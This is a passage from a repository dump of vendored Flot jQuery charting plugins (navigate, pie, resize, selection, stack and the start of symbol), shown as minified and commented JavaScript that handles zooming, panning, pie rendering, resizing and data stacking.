f.event.handle.apply(this,h)}})(jQuery);(function(b){var a={xaxis:{zoomRange:null,panRange:null},zoom:{interactive:false,trigger:"dblclick",amount:1.5},pan:{interactive:false,cursor:"move",frameRate:20}};function c(o){function m(q,p){var r=o.offset();r.left=q.pageX-r.left;r.top=q.pageY-r.top;if(p){o.zoomOut({center:r})}else{o.zoom({center:r})}}function d(p,q){m(p,q<0);return false}var i="default",g=0,e=0,n=null;function f(p){if(p.which!=1){return false}var q=o.getPlaceholder().css("cursor");if(q){i=q}o.getPlaceholder().css("cursor",o.getOptions().pan.cursor);g=p.pageX;e=p.pageY}function j(q){var p=o.getOptions().pan.frameRate;if(n||!p){return}n=setTimeout(function(){o.pan({left:g-q.pageX,top:e-q.pageY});g=q.pageX;e=q.pageY;n=null},1/p*1000)}function h(p){if(n){clearTimeout(n);n=null}o.getPlaceholder().css("cursor",i);o.pan({left:g-p.pageX,top:e-p.pageY})}function l(q,p){var r=q.getOptions();if(r.zoom.interactive){p[r.zoom.trigger](m);p.mousewheel(d)}if(r.pan.interactive){p.bind("dragstart",{distance:10},f);p.bind("drag",j);p.bind("dragend",h)}}o.zoomOut=function(p){if(!p){p={}}if(!p.amount){p.amount=o.getOptions().zoom.amount}p.amount=1/p.amount;o.zoom(p)};o.zoom=function(q){if(!q){q={}}var x=q.center,r=q.amount||o.getOptions().zoom.amount,p=o.width(),t=o.height();if(!x){x={left:p/2,top:t/2}}var s=x.left/p,v=x.top/t,u={x:{min:x.left-s*p/r,max:x.left+(1-s)*p/r},y:{min:x.top-v*t/r,max:x.top+(1-v)*t/r}};b.each(o.getAxes(),function(z,C){var D=C.options,B=u[C.direction].min,w=u[C.direction].max,E=D.zoomRange;if(E===false){return}B=C.c2p(B);w=C.c2p(w);if(B>w){var A=B;B=w;w=A}var y=w-B;if(E&&((E[0]!=null&&y<E[0])||(E[1]!=null&&y>E[1]))){return}D.min=B;D.max=w});o.setupGrid();o.draw();if(!q.preventEvent){o.getPlaceholder().trigger("plotzoom",[o])}};o.pan=function(p){var q={x:+p.left,y:+p.top};if(isNaN(q.x)){q.x=0}if(isNaN(q.y)){q.y=0}b.each(o.getAxes(),function(s,u){var v=u.options,t,r,w=q[u.direction];t=u.c2p(u.p2c(u.min)+w),r=u.c2p(u.p2c(u.max)+w);var x=v.panRange;if(x===false){return}if(x){if(x[0]!=null&&x[0]>t){w=x[0]-t;t+=w;r+=w}if(x[1]!=null&&x[1]<r){w=x[1]-r;t+=w;r+=w}}v.min=t;v.max=r});o.setupGrid();o.draw();if(!p.preventEvent){o.getPlaceholder().trigger("plotpan",[o])}};function k(q,p){p.unbind(q.getOptions().zoom.trigger,m);p.unbind("mousewheel",d);p.unbind("dragstart",f);p.unbind("drag",j);p.unbind("dragend",h);if(n){clearTimeout(n)}}o.hooks.bindEvents.push(l);o.hooks.shutdown.push(k)}b.plot.plugins.push({init:c,options:a,name:"navigate",version:"1.3"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.pie.min.js:
--------------------------------------------------------------------------------
1 | (function(b){function c(D){var h=null;var L=null;var n=null;var B=null;var p=null;var M=0;var F=true;var o=10;var w=0.95;var A=0;var d=false;var z=false;var j=[];D.hooks.processOptions.push(g);D.hooks.bindEvents.push(e);function g(O,N){if(N.series.pie.show){N.grid.show=false;if(N.series.pie.label.show=="auto"){if(N.legend.show){N.series.pie.label.show=false}else{N.series.pie.label.show=true}}if(N.series.pie.radius=="auto"){if(N.series.pie.label.show){N.series.pie.radius=3/4}else{N.series.pie.radius=1}}if(N.series.pie.tilt>1){N.series.pie.tilt=1}if(N.series.pie.tilt<0){N.series.pie.tilt=0}O.hooks.processDatapoints.push(E);O.hooks.drawOverlay.push(H);O.hooks.draw.push(r)}}function e(P,N){var O=P.getOptions();if(O.series.pie.show&&O.grid.hoverable){N.unbind("mousemove").mousemove(t)}if(O.series.pie.show&&O.grid.clickable){N.unbind("click").click(l)}}function G(O){var P="";function N(S,T){if(!T){T=0}for(var R=0;R<S.length;++R){for(var Q=0;Q<T;Q++){P+="\t"}if(typeof S[R]=="object"){P+=""+R+":\n";N(S[R],T+1)}else{P+=""+R+": "+S[R]+"\n"}}}N(O);alert(P)}function q(P){for(var N=0;N<P.length;++N){var O=parseFloat(P[N].data[0][1]);if(O){M+=O}}}function E(Q,N,O,P){if(!d){d=true;h=Q.getCanvas();L=b(h).parent();a=Q.getOptions();Q.setData(K(Q.getData()))}}function I(){A=L.children().filter(".legend").children().width();n=Math.min(h.width,(h.height/a.series.pie.tilt))/2;p=(h.height/2)+a.series.pie.offset.top;B=(h.width/2);if(a.series.pie.offset.left=="auto"){if(a.legend.position.match("w")){B+=A/2}else{B-=A/2}}else{B+=a.series.pie.offset.left}if(B<n){B=n}else{if(B>h.width-n){B=h.width-n}}}function v(O){for(var N=0;N<O.length;++N){if(typeof(O[N].data)=="number"){O[N].data=[[1,O[N].data]]}else{if(typeof(O[N].data)=="undefined"||typeof(O[N].data[0])=="undefined"){if(typeof(O[N].data)!="undefined"&&typeof(O[N].data.label)!="undefined"){O[N].label=O[N].data.label}O[N].data=[[1,0]]}}}return O}function K(Q){Q=v(Q);q(Q);var P=0;var S=0;var N=a.series.pie.combine.color;var R=[];for(var O=0;O<Q.length;++O){Q[O].data[0][1]=parseFloat(Q[O].data[0][1]);if(!Q[O].data[0][1]){Q[O].data[0][1]=0}if(Q[O].data[0][1]/M<=a.series.pie.combine.threshold){P+=Q[O].data[0][1];S++;if(!N){N=Q[O].color}}else{R.push({data:[[1,Q[O].data[0][1]]],color:Q[O].color,label:Q[O].label,angle:(Q[O].data[0][1]*(Math.PI*2))/M,percent:(Q[O].data[0][1]/M*100)})}}if(S>0){R.push({data:[[1,P]],color:N,label:a.series.pie.combine.label,angle:(P*(Math.PI*2))/M,percent:(P/M*100)})}return R}function r(S,Q){if(!L){return}ctx=Q;I();var T=S.getData();var P=0;while(F&&P<o){F=false;if(P>0){n*=w}P+=1;N();if(a.series.pie.tilt<=0.8){O()}R()}if(P>=o){N();L.prepend('<div class="error">Could not draw pie with labels contained inside canvas</div>')}if(S.setSeries&&S.insertLegend){S.setSeries(T);S.insertLegend()}function N(){ctx.clearRect(0,0,h.width,h.height);L.children().filter(".pieLabel, .pieLabelBackground").remove()}function O(){var Z=5;var Y=15;var W=10;var X=0.02;if(a.series.pie.radius>1){var U=a.series.pie.radius}else{var U=n*a.series.pie.radius}if(U>=(h.width/2)-Z||U*a.series.pie.tilt>=(h.height/2)-Y||U<=W){return}ctx.save();ctx.translate(Z,Y);ctx.globalAlpha=X;ctx.fillStyle="#000";ctx.translate(B,p);ctx.scale(1,a.series.pie.tilt);for(var V=1;V<=W;V++){ctx.beginPath();ctx.arc(0,0,U,0,Math.PI*2,false);ctx.fill();U-=V}ctx.restore()}function R(){startAngle=Math.PI*a.series.pie.startAngle;if(a.series.pie.radius>1){var U=a.series.pie.radius}else{var U=n*a.series.pie.radius}ctx.save();ctx.translate(B,p);ctx.scale(1,a.series.pie.tilt);ctx.save();var Y=startAngle;for(var W=0;W<T.length;++W){T[W].startAngle=Y;X(T[W].angle,T[W].color,true)}ctx.restore();ctx.save();ctx.lineWidth=a.series.pie.stroke.width;Y=startAngle;for(var W=0;W<T.length;++W){X(T[W].angle,a.series.pie.stroke.color,false)}ctx.restore();J(ctx);if(a.series.pie.label.show){V()}ctx.restore();function X(ab,Z,aa){if(ab<=0){return}if(aa){ctx.fillStyle=Z}else{ctx.strokeStyle=Z;ctx.lineJoin="round"}ctx.beginPath();if(Math.abs(ab-Math.PI*2)>1e-9){ctx.moveTo(0,0)}else{if(b.browser.msie){ab-=0.0001}}ctx.arc(0,0,U,Y,Y+ab,false);ctx.closePath();Y+=ab;if(aa){ctx.fill()}else{ctx.stroke()}}function V(){var ac=startAngle;if(a.series.pie.label.radius>1){var Z=a.series.pie.label.radius}else{var Z=n*a.series.pie.label.radius}for(var ab=0;ab<T.length;++ab){if(T[ab].percent>=a.series.pie.label.threshold*100){aa(T[ab],ac,ab)}ac+=T[ab].angle}function aa(ap,ai,ag){if(ap.data[0][1]==0){return}var ar=a.legend.labelFormatter,aq,ae=a.series.pie.label.formatter;if(ar){aq=ar(ap.label,ap)}else{aq=ap.label}if(ae){aq=ae(aq,ap)}var aj=((ai+ap.angle)+ai)/2;var ao=B+Math.round(Math.cos(aj)*Z);var am=p+Math.round(Math.sin(aj)*Z)*a.series.pie.tilt;var af='<span class="pieLabel" id="pieLabel'+ag+'" style="position:absolute;top:'+am+"px;left:"+ao+'px;">'+aq+"</span>";L.append(af);var an=L.children("#pieLabel"+ag);var ad=(am-an.height()/2);var ah=(ao-an.width()/2);an.css("top",ad);an.css("left",ah);if(0-ad>0||0-ah>0||h.height-(ad+an.height())<0||h.width-(ah+an.width())<0){F=true}if(a.series.pie.label.background.opacity!=0){var ak=a.series.pie.label.background.color;if(ak==null){ak=ap.color}var al="top:"+ad+"px;left:"+ah+"px;";b('<div class="pieLabelBackground" style="position:absolute;width:'+an.width()+"px;height:"+an.height()+"px;"+al+"background-color:"+ak+';"> </div>').insertBefore(an).css("opacity",a.series.pie.label.background.opacity)}}}}}function J(N){if(a.series.pie.innerRadius>0){N.save();innerRadius=a.series.pie.innerRadius>1?a.series.pie.innerRadius:n*a.series.pie.innerRadius;N.globalCompositeOperation="destination-out";N.beginPath();N.fillStyle=a.series.pie.stroke.color;N.arc(0,0,innerRadius,0,Math.PI*2,false);N.fill();N.closePath();N.restore();N.save();N.beginPath();N.strokeStyle=a.series.pie.stroke.color;N.arc(0,0,innerRadius,0,Math.PI*2,false);N.stroke();N.closePath();N.restore()}}function s(Q,R){for(var S=false,P=-1,N=Q.length,O=N-1;++P<N;O=P){((Q[P][1]<=R[1]&&R[1]<Q[O][1])||(Q[O][1]<=R[1]&&R[1]<Q[P][1]))&&(R[0]<(Q[O][0]-Q[P][0])*(R[1]-Q[P][1])/(Q[O][1]-Q[P][1])+Q[P][0])&&(S=!S)}return S}function u(R,P){var T=D.getData(),O=D.getOptions(),N=O.series.pie.radius>1?O.series.pie.radius:n*O.series.pie.radius;for(var Q=0;Q<T.length;++Q){var S=T[Q];if(S.pie.show){ctx.save();ctx.beginPath();ctx.moveTo(0,0);ctx.arc(0,0,N,S.startAngle,S.startAngle+S.angle,false);ctx.closePath();x=R-B;y=P-p;if(ctx.isPointInPath){if(ctx.isPointInPath(R-B,P-p)){ctx.restore();return{datapoint:[S.percent,S.data],dataIndex:0,series:S,seriesIndex:Q}}}else{p1X=(N*Math.cos(S.startAngle));p1Y=(N*Math.sin(S.startAngle));p2X=(N*Math.cos(S.startAngle+(S.angle/4)));p2Y=(N*Math.sin(S.startAngle+(S.angle/4)));p3X=(N*Math.cos(S.startAngle+(S.angle/2)));p3Y=(N*Math.sin(S.startAngle+(S.angle/2)));p4X=(N*Math.cos(S.startAngle+(S.angle/1.5)));p4Y=(N*Math.sin(S.startAngle+(S.angle/1.5)));p5X=(N*Math.cos(S.startAngle+S.angle));p5Y=(N*Math.sin(S.startAngle+S.angle));arrPoly=[[0,0],[p1X,p1Y],[p2X,p2Y],[p3X,p3Y],[p4X,p4Y],[p5X,p5Y]];arrPoint=[x,y];if(s(arrPoly,arrPoint)){ctx.restore();return{datapoint:[S.percent,S.data],dataIndex:0,series:S,seriesIndex:Q}}}ctx.restore()}}return null}function t(N){m("plothover",N)}function l(N){m("plotclick",N)}function m(N,T){var O=D.offset(),R=parseInt(T.pageX-O.left),P=parseInt(T.pageY-O.top),V=u(R,P);if(a.grid.autoHighlight){for(var Q=0;Q<j.length;++Q){var S=j[Q];if(S.auto==N&&!(V&&S.series==V.series)){f(S.series)}}}if(V){k(V.series,N)}var U={pageX:T.pageX,pageY:T.pageY};L.trigger(N,[U,V])}function k(O,P){if(typeof O=="number"){O=series[O]}var N=C(O);if(N==-1){j.push({series:O,auto:P});D.triggerRedrawOverlay()}else{if(!P){j[N].auto=false}}}function f(O){if(O==null){j=[];D.triggerRedrawOverlay()}if(typeof O=="number"){O=series[O]}var N=C(O);if(N!=-1){j.splice(N,1);D.triggerRedrawOverlay()}}function C(P){for(var N=0;N<j.length;++N){var O=j[N];if(O.series==P){return N}}return -1}function H(Q,R){var P=Q.getOptions();var N=P.series.pie.radius>1?P.series.pie.radius:n*P.series.pie.radius;R.save();R.translate(B,p);R.scale(1,P.series.pie.tilt);for(i=0;i<j.length;++i){O(j[i].series)}J(R);R.restore();function O(S){if(S.angle<0){return}R.fillStyle="rgba(255, 255, 255, "+P.series.pie.highlight.opacity+")";R.beginPath();if(Math.abs(S.angle-Math.PI*2)>1e-9){R.moveTo(0,0)}R.arc(0,0,N,S.startAngle,S.startAngle+S.angle,false);R.closePath();R.fill()}}}var a={series:{pie:{show:false,radius:"auto",innerRadius:0,startAngle:3/2,tilt:1,offset:{top:0,left:"auto"},stroke:{color:"#FFF",width:1},label:{show:"auto",formatter:function(d,e){return'<div style="font-size:x-small;text-align:center;padding:2px;color:'+e.color+';">'+d+"<br/>"+Math.round(e.percent)+"%</div>"},radius:1,background:{color:null,opacity:0},threshold:0},combine:{threshold:-1,color:null,label:"Other"},highlight:{opacity:0.5}}}};b.plot.plugins.push({init:c,options:a,name:"pie",version:"1.0"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.resize.js:
--------------------------------------------------------------------------------
 1 | /*
 2 | Flot plugin for automatically redrawing plots when the placeholder
 3 | size changes, e.g. on window resizes.
 4 | 
 5 | It works by listening for changes on the placeholder div (through the
 6 | jQuery resize event plugin) - if the size changes, it will redraw the
 7 | plot.
 8 | 
 9 | There are no options. If you need to disable the plugin for some
10 | plots, you can just fix the size of their placeholders.
11 | */
12 | 
13 | 
14 | /* Inline dependency: 
15 |  * jQuery resize event - v1.1 - 3/14/2010
16 |  * http://benalman.com/projects/jquery-resize-plugin/
17 |  * 
18 |  * Copyright (c) 2010 "Cowboy" Ben Alman
19 |  * Dual licensed under the MIT and GPL licenses.
20 |  * http://benalman.com/about/license/
21 |  */
22 | (function($,h,c){var a=$([]),e=$.resize=$.extend($.resize,{}),i,k="setTimeout",j="resize",d=j+"-special-event",b="delay",f="throttleWindow";e[b]=250;e[f]=true;$.event.special[j]={setup:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.add(l);$.data(this,d,{w:l.width(),h:l.height()});if(a.length===1){g()}},teardown:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.not(l);l.removeData(d);if(!a.length){clearTimeout(i)}},add:function(l){if(!e[f]&&this[k]){return false}var n;function m(s,o,p){var q=$(this),r=$.data(this,d);r.w=o!==c?o:q.width();r.h=p!==c?p:q.height();n.apply(this,arguments)}if($.isFunction(l)){n=l;return m}else{n=l.handler;l.handler=m}}};function g(){i=h[k](function(){a.each(function(){var n=$(this),m=n.width(),l=n.height(),o=$.data(this,d);if(m!==o.w||l!==o.h){n.trigger(j,[o.w=m,o.h=l])}});g()},e[b])}})(jQuery,this);
23 | 
24 | 
25 | (function ($) {
26 |     var options = { }; // no options
27 | 
28 |     function init(plot) {
29 |         function onResize() {
30 |             var placeholder = plot.getPlaceholder();
31 | 
32 |             // somebody might have hidden us and we can't plot
33 |             // when we don't have the dimensions
34 |             if (placeholder.width() == 0 || placeholder.height() == 0)
35 |                 return;
36 | 
37 |             plot.resize();
38 |             plot.setupGrid();
39 |             plot.draw();
40 |         }
41 |         
42 |         function bindEvents(plot, eventHolder) {
43 |             plot.getPlaceholder().resize(onResize);
44 |         }
45 | 
46 |         function shutdown(plot, eventHolder) {
47 |             plot.getPlaceholder().unbind("resize", onResize);
48 |         }
49 |         
50 |         plot.hooks.bindEvents.push(bindEvents);
51 |         plot.hooks.shutdown.push(shutdown);
52 |     }
53 |     
54 |     $.plot.plugins.push({
55 |         init: init,
56 |         options: options,
57 |         name: 'resize',
58 |         version: '1.0'
59 |     });
60 | })(jQuery);
61 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.resize.min.js:
--------------------------------------------------------------------------------
1 | (function(n,p,u){var w=n([]),s=n.resize=n.extend(n.resize,{}),o,l="setTimeout",m="resize",t=m+"-special-event",v="delay",r="throttleWindow";s[v]=250;s[r]=true;n.event.special[m]={setup:function(){if(!s[r]&&this[l]){return false}var a=n(this);w=w.add(a);n.data(this,t,{w:a.width(),h:a.height()});if(w.length===1){q()}},teardown:function(){if(!s[r]&&this[l]){return false}var a=n(this);w=w.not(a);a.removeData(t);if(!w.length){clearTimeout(o)}},add:function(b){if(!s[r]&&this[l]){return false}var c;function a(d,h,g){var f=n(this),e=n.data(this,t);e.w=h!==u?h:f.width();e.h=g!==u?g:f.height();c.apply(this,arguments)}if(n.isFunction(b)){c=b;return a}else{c=b.handler;b.handler=a}}};function q(){o=p[l](function(){w.each(function(){var d=n(this),a=d.width(),b=d.height(),c=n.data(this,t);if(a!==c.w||b!==c.h){d.trigger(m,[c.w=a,c.h=b])}});q()},s[v])}})(jQuery,this);(function(b){var a={};function c(f){function e(){var h=f.getPlaceholder();if(h.width()==0||h.height()==0){return}f.resize();f.setupGrid();f.draw()}function g(i,h){i.getPlaceholder().resize(e)}function d(i,h){i.getPlaceholder().unbind("resize",e)}f.hooks.bindEvents.push(g);f.hooks.shutdown.push(d)}b.plot.plugins.push({init:c,options:a,name:"resize",version:"1.0"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.selection.min.js:
--------------------------------------------------------------------------------
1 | (function(a){function b(k){var p={first:{x:-1,y:-1},second:{x:-1,y:-1},show:false,active:false};var m={};var r=null;function e(s){if(p.active){l(s);k.getPlaceholder().trigger("plotselecting",[g()])}}function n(s){if(s.which!=1){return}document.body.focus();if(document.onselectstart!==undefined&&m.onselectstart==null){m.onselectstart=document.onselectstart;document.onselectstart=function(){return false}}if(document.ondrag!==undefined&&m.ondrag==null){m.ondrag=document.ondrag;document.ondrag=function(){return false}}d(p.first,s);p.active=true;r=function(t){j(t)};a(document).one("mouseup",r)}function j(s){r=null;if(document.onselectstart!==undefined){document.onselectstart=m.onselectstart}if(document.ondrag!==undefined){document.ondrag=m.ondrag}p.active=false;l(s);if(f()){i()}else{k.getPlaceholder().trigger("plotunselected",[]);k.getPlaceholder().trigger("plotselecting",[null])}return false}function g(){if(!f()){return null}var u={},t=p.first,s=p.second;a.each(k.getAxes(),function(v,w){if(w.used){var y=w.c2p(t[w.direction]),x=w.c2p(s[w.direction]);u[v]={from:Math.min(y,x),to:Math.max(y,x)}}});return u}function i(){var s=g();k.getPlaceholder().trigger("plotselected",[s]);if(s.xaxis&&s.yaxis){k.getPlaceholder().trigger("selected",[{x1:s.xaxis.from,y1:s.yaxis.from,x2:s.xaxis.to,y2:s.yaxis.to}])}}function h(t,u,s){return u<t?t:(u>s?s:u)}function d(w,t){var v=k.getOptions();var u=k.getPlaceholder().offset();var s=k.getPlotOffset();w.x=h(0,t.pageX-u.left-s.left,k.width());w.y=h(0,t.pageY-u.top-s.top,k.height());if(v.selection.mode=="y"){w.x=w==p.first?0:k.width()}if(v.selection.mode=="x"){w.y=w==p.first?0:k.height()}}function l(s){if(s.pageX==null){return}d(p.second,s);if(f()){p.show=true;k.triggerRedrawOverlay()}else{q(true)}}function q(s){if(p.show){p.show=false;k.triggerRedrawOverlay();if(!s){k.getPlaceholder().trigger("plotunselected",[])}}}function c(s,w){var t,y,z,A,x=k.getAxes();for(var u in x){t=x[u];if(t.direction==w){A=w+t.n+"axis";if(!s[A]&&t.n==1){A=w+"axis"}if(s[A]){y=s[A].from;z=s[A].to;break}}}if(!s[A]){t=w=="x"?k.getXAxes()[0]:k.getYAxes()[0];y=s[w+"1"];z=s[w+"2"]}if(y!=null&&z!=null&&y>z){var v=y;y=z;z=v}return{from:y,to:z,axis:t}}function o(t,s){var v,u,w=k.getOptions();if(w.selection.mode=="y"){p.first.x=0;p.second.x=k.width()}else{u=c(t,"x");p.first.x=u.axis.p2c(u.from);p.second.x=u.axis.p2c(u.to)}if(w.selection.mode=="x"){p.first.y=0;p.second.y=k.height()}else{u=c(t,"y");p.first.y=u.axis.p2c(u.from);p.second.y=u.axis.p2c(u.to)}p.show=true;k.triggerRedrawOverlay();if(!s&&f()){i()}}function f(){var s=5;return Math.abs(p.second.x-p.first.x)>=s&&Math.abs(p.second.y-p.first.y)>=s}k.clearSelection=q;k.setSelection=o;k.getSelection=g;k.hooks.bindEvents.push(function(t,s){var u=t.getOptions();if(u.selection.mode!=null){s.mousemove(e);s.mousedown(n)}});k.hooks.drawOverlay.push(function(v,D){if(p.show&&f()){var t=v.getPlotOffset();var s=v.getOptions();D.save();D.translate(t.left,t.top);var z=a.color.parse(s.selection.color);D.strokeStyle=z.scale("a",0.8).toString();D.lineWidth=1;D.lineJoin="round";D.fillStyle=z.scale("a",0.4).toString();var B=Math.min(p.first.x,p.second.x),A=Math.min(p.first.y,p.second.y),C=Math.abs(p.second.x-p.first.x),u=Math.abs(p.second.y-p.first.y);D.fillRect(B,A,C,u);D.strokeRect(B,A,C,u);D.restore()}});k.hooks.shutdown.push(function(t,s){s.unbind("mousemove",e);s.unbind("mousedown",n);if(r){a(document).unbind("mouseup",r)}})}a.plot.plugins.push({init:b,options:{selection:{mode:null,color:"#e8cfac"}},name:"selection",version:"1.1"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.stack.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | Flot plugin for stacking data sets, i.e. putting them on top of each
  3 | other, for accumulative graphs.
  4 | 
  5 | The plugin assumes the data is sorted on x (or y if stacking
  6 | horizontally). For line charts, it is assumed that if a line has an
  7 | undefined gap (from a null point), then the line above it should have
  8 | the same gap - insert zeros instead of "null" if you want another
  9 | behaviour. This also holds for the start and end of the chart. Note
 10 | that stacking a mix of positive and negative values in most instances
 11 | doesn't make sense (so it looks weird).
 12 | 
 13 | Two or more series are stacked when their "stack" attribute is set to
 14 | the same key (which can be any number or string or just "true"). To
 15 | specify the default stack, you can set
 16 | 
 17 |   series: {
 18 |     stack: null or true or key (number/string)
 19 |   }
 20 | 
 21 | or specify it for a specific series
 22 | 
 23 |   $.plot($("#placeholder"), [{ data: [ ... ], stack: true }])
 24 |   
 25 | The stacking order is determined by the order of the data series in
 26 | the array (later series end up on top of the previous).
 27 | 
 28 | Internally, the plugin modifies the datapoints in each series, adding
 29 | an offset to the y value. For line series, extra data points are
 30 | inserted through interpolation. If there's a second y value, it's also
 31 | adjusted (e.g for bar charts or filled areas).
 32 | */
 33 | 
 34 | (function ($) {
 35 |     var options = {
 36 |         series: { stack: null } // or number/string
 37 |     };
 38 |     
 39 |     function init(plot) {
 40 |         function findMatchingSeries(s, allseries) {
 41 |             var res = null
 42 |             for (var i = 0; i < allseries.length; ++i) {
 43 |                 if (s == allseries[i])
 44 |                     break;
 45 |                 
 46 |                 if (allseries[i].stack == s.stack)
 47 |                     res = allseries[i];
 48 |             }
 49 |             
 50 |             return res;
 51 |         }
 52 |         
 53 |         function stackData(plot, s, datapoints) {
 54 |             if (s.stack == null)
 55 |                 return;
 56 | 
 57 |             var other = findMatchingSeries(s, plot.getData());
 58 |             if (!other)
 59 |                 return;
 60 | 
 61 |             var ps = datapoints.pointsize,
 62 |                 points = datapoints.points,
 63 |                 otherps = other.datapoints.pointsize,
 64 |                 otherpoints = other.datapoints.points,
 65 |                 newpoints = [],
 66 |                 px, py, intery, qx, qy, bottom,
 67 |                 withlines = s.lines.show,
 68 |                 horizontal = s.bars.horizontal,
 69 |                 withbottom = ps > 2 && (horizontal ? datapoints.format[2].x : datapoints.format[2].y),
 70 |                 withsteps = withlines && s.lines.steps,
 71 |                 fromgap = true,
 72 |                 keyOffset = horizontal ? 1 : 0,
 73 |                 accumulateOffset = horizontal ? 0 : 1,
 74 |                 i = 0, j = 0, l;
 75 | 
 76 |             while (true) {
 77 |                 if (i >= points.length)
 78 |                     break;
 79 | 
 80 |                 l = newpoints.length;
 81 | 
 82 |                 if (points[i] == null) {
 83 |                     // copy gaps
 84 |                     for (m = 0; m < ps; ++m)
 85 |                         newpoints.push(points[i + m]);
 86 |                     i += ps;
 87 |                 }
 88 |                 else if (j >= otherpoints.length) {
 89 |                     // for lines, we can't use the rest of the points
 90 |                     if (!withlines) {
 91 |                         for (m = 0; m < ps; ++m)
 92 |                             newpoints.push(points[i + m]);
 93 |                     }
 94 |                     i += ps;
 95 |                 }
 96 |                 else if (otherpoints[j] == null) {
 97 |                     // oops, got a gap
 98 |                     for (m = 0; m < ps; ++m)
 99 |                         newpoints.push(null);
100 |                     fromgap = true;
101 |                     j += otherps;
102 |                 }
103 |                 else {
104 |                     // cases where we actually got two points
105 |                     px = points[i + keyOffset];
106 |                     py = points[i + accumulateOffset];
107 |                     qx = otherpoints[j + keyOffset];
108 |                     qy = otherpoints[j + accumulateOffset];
109 |                     bottom = 0;
110 | 
111 |                     if (px == qx) {
112 |                         for (m = 0; m < ps; ++m)
113 |                             newpoints.push(points[i + m]);
114 | 
115 |                         newpoints[l + accumulateOffset] += qy;
116 |                         bottom = qy;
117 |                         
118 |                         i += ps;
119 |                         j += otherps;
120 |                     }
121 |                     else if (px > qx) {
122 |                         // we got past point below, might need to
123 |                         // insert interpolated extra point
124 |                         if (withlines && i > 0 && points[i - ps] != null) {
125 |                             intery = py + (points[i - ps + accumulateOffset] - py) * (qx - px) / (points[i - ps + keyOffset] - px);
126 |                             newpoints.push(qx);
127 |                             newpoints.push(intery + qy);
128 |                             for (m = 2; m < ps; ++m)
129 |                                 newpoints.push(points[i + m]);
130 |                             bottom = qy; 
131 |                         }
132 | 
133 |                         j += otherps;
134 |                     }
135 |                     else { // px < qx
136 |                         if (fromgap && withlines) {
137 |                             // if we come from a gap, we just skip this point
138 |                             i += ps;
139 |                             continue;
140 |                         }
141 |                             
142 |                         for (m = 0; m < ps; ++m)
143 |                             newpoints.push(points[i + m]);
144 |                         
145 |                         // we might be able to interpolate a point below,
146 |                         // this can give us a better y
147 |                         if (withlines && j > 0 && otherpoints[j - otherps] != null)
148 |                             bottom = qy + (otherpoints[j - otherps + accumulateOffset] - qy) * (px - qx) / (otherpoints[j - otherps + keyOffset] - qx);
149 | 
150 |                         newpoints[l + accumulateOffset] += bottom;
151 |                         
152 |                         i += ps;
153 |                     }
154 | 
155 |                     fromgap = false;
156 |                     
157 |                     if (l != newpoints.length && withbottom)
158 |                         newpoints[l + 2] += bottom;
159 |                 }
160 | 
161 |                 // maintain the line steps invariant
162 |                 if (withsteps && l != newpoints.length && l > 0
163 |                     && newpoints[l] != null
164 |                     && newpoints[l] != newpoints[l - ps]
165 |                     && newpoints[l + 1] != newpoints[l - ps + 1]) {
166 |                     for (m = 0; m < ps; ++m)
167 |                         newpoints[l + ps + m] = newpoints[l + m];
168 |                     newpoints[l + 1] = newpoints[l - ps + 1];
169 |                 }
170 |             }
171 | 
172 |             datapoints.points = newpoints;
173 |         }
174 |         
175 |         plot.hooks.processDatapoints.push(stackData);
176 |     }
177 |     
178 |     $.plot.plugins.push({
179 |         init: init,
180 |         options: options,
181 |         name: 'stack',
182 |         version: '1.2'
183 |     });
184 | })(jQuery);
185 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.stack.min.js:
--------------------------------------------------------------------------------
1 | (function(b){var a={series:{stack:null}};function c(f){function d(k,j){var h=null;for(var g=0;g<j.length;++g){if(k==j[g]){break}if(j[g].stack==k.stack){h=j[g]}}return h}function e(C,v,g){if(v.stack==null){return}var p=d(v,C.getData());if(!p){return}var z=g.pointsize,F=g.points,h=p.datapoints.pointsize,y=p.datapoints.points,t=[],x,w,k,J,I,r,u=v.lines.show,G=v.bars.horizontal,o=z>2&&(G?g.format[2].x:g.format[2].y),n=u&&v.lines.steps,E=true,q=G?1:0,H=G?0:1,D=0,B=0,A;while(true){if(D>=F.length){break}A=t.length;if(F[D]==null){for(m=0;m<z;++m){t.push(F[D+m])}D+=z}else{if(B>=y.length){if(!u){for(m=0;m<z;++m){t.push(F[D+m])}}D+=z}else{if(y[B]==null){for(m=0;m<z;++m){t.push(null)}E=true;B+=h}else{x=F[D+q];w=F[D+H];J=y[B+q];I=y[B+H];r=0;if(x==J){for(m=0;m<z;++m){t.push(F[D+m])}t[A+H]+=I;r=I;D+=z;B+=h}else{if(x>J){if(u&&D>0&&F[D-z]!=null){k=w+(F[D-z+H]-w)*(J-x)/(F[D-z+q]-x);t.push(J);t.push(k+I);for(m=2;m<z;++m){t.push(F[D+m])}r=I}B+=h}else{if(E&&u){D+=z;continue}for(m=0;m<z;++m){t.push(F[D+m])}if(u&&B>0&&y[B-h]!=null){r=I+(y[B-h+H]-I)*(x-J)/(y[B-h+q]-J)}t[A+H]+=r;D+=z}}E=false;if(A!=t.length&&o){t[A+2]+=r}}}}if(n&&A!=t.length&&A>0&&t[A]!=null&&t[A]!=t[A-z]&&t[A+1]!=t[A-z+1]){for(m=0;m<z;++m){t[A+z+m]=t[A+m]}t[A+1]=t[A-z+1]}}g.points=t}f.hooks.processDatapoints.push(e)}b.plot.plugins.push({init:c,options:a,name:"stack",version:"1.2"})})(jQuery);


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.flot.symbol.js:
--------------------------------------------------------------------------------
 1 | /*
 2 | Flot plugin that adds some extra symbols for plotting points.
 3 | 
 4 | The symbols are accessed as strings through the standard symbol
 5 | choice:
 6 | 
 7 |   series: {
 8 |       points: {
 9 |           symbol: "square" // or "diamond", "triangle", "cross"
10 |       }
11 |   }
12 | 
13 | */
14 | 
15 | (function ($) {
16 |     function processRawData(plot, series, datapoints) {
17 |         // we normalize the area of each symbol so it is approximately the
18 |         // same as a circle of the given radius
19 | 
20 |         var handlers = {
